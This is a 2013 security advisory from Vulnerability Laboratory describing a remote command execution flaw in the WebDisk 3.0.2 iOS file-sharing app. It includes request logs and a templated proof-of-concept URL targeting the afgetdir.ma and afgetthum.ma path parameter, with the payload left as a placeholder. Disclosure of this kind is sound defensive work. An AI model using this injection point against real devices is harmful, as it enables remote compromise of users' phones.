Document Title: =============== WebDisk 3.0.2 PV iOS - Command Execution Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1035 Release Date: ============= 2013-07-26 Vulnerability Laboratory ID (VL-ID): ==================================== 1035 Common Vulnerability Scoring System: ==================================== 8.8 Product & Service Introduction: =============================== WebDisk lets your iphone/ipad become a file website over wi-fi netwrk.You can upload/download your document to your iphone/ipad on your pc browser over wi-fi and it is also a document viewer. Lets you direct view your document on your iphone/iphone. ( Copy of the Homepage: https://itunes.apple.com/us/app/webdisk/id546221210 ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a remote code execution vulnerability in the WebDisk v3.0.2 application (Apple iOS - iPad & iPhone). Vulnerability Disclosure Timeline: ================================== 2013-07-27: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Apple AppStore Product: WebDisk PhotoViewer - Application 3.0.2 Exploitation Technique: ======================= Remote Severity Level: =============== Critical Technical Details & Description: ================================ A remote command execution web vulnerability is detected in the WebDisk v3.0.2 application (Apple iOS - iPad & iPhone). The vulnerability allows remote attacker to execute code inside of a vulnerable web application module to compromise the device. The vulnerability is located in the afgetdir.ma file when processing to request manipulated path parameters. Remote attackers can execute code from the main application index by using the upload input field. The code inside of the file upload field does not require to choose a file for an upload but executes the context directly via GET variable. The result is a web application code execution from the main index module. The code will be executed from the listing location under the upload input field of the webdisk wifi application. Exploitation of the vulnerability does not require user interaction or a privilege application user account. Successful exploitation results webdisk web-application or apple device compromise via remote code execution. Vulnerable Module(s): [+] Upload - Input Field Vulnerable File(s): [+] afgetdir.ma Vulnerable Parameter(s): [+] p (path) Affected Module(s): [+] Index File Dir Listing Proof of Concept (PoC): ======================= The remote command execution vulnerability can be exploited by remote attackers without privilege application user account or user interaction. For demonstration or reproduce ... --- Exploitation Request Session Logs --- Status: 200[OK] GET http://192.168.2.104:1861/aadd.htm Load Flags[LOAD_BACKGROUND ] Content Size[641] Mime Type[application/x-unknown-content-type] Request Headers: Host[192.168.2.104:1861] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C] Connection[keep-alive] Response Headers: Content-Length[641] Server[MHttpServer/1.0.0] Status: 200[OK] GET http://192.168.2.104:1861/[CODE EXECUTION]+PATH Load Flags[LOAD_DOCUMENT_URI ] Content Size[0] Mime Type[application/x-unknown-content-type] Request Headers: Host[192.168.2.104:1861] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C] Connection[keep-alive] Response Headers: Content-Length[0] Server[MHttpServer/1.0.0] URL=http://192.168.2.104:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications %5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C[CODE EXECUTION] Status: 200[OK] GET http://192.168.2.104:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CW%5C[CODE EXECUTION] Load Flags[LOAD_NORMAL] Content Size[20217] Mime Type[application/x-unknown-content-type] Request Headers: Host[192.168.2.104:1861] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0] Accept[image/png,image/*;q=0.8,*/*;q=0.5] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer [http://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C] Connection[keep-alive] Response Headers: Content-Length[20217] Server[MHttpServer/1.0.0] --- Exploitation Request Session Logs --- Reference(s): mHTTP Web-Server http://localhost:1861/ http://localhost:1861/mjs.js http://localhost:1861/aadd.htm http://localhost:1861/afgetthum.ma PoC Example: [HOST]:[PORT]/[FILE].[MA]?[PARAM Q]=%5C[PATH VAR]/[DIRECTION]%5C[ID]%5C[DOCUMNETS PATH]%5C[LIBRARY FOLDER]%5C[LOCAL PATH WDisk]%5C[COMMAND EXECUTION] PoC Link: http://localhost:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C[COMMAND EXECUTION] PoC: Exploit 1 - HTML WebDisk v3.0.2 - Command Execution Vulnerability - Remote PoC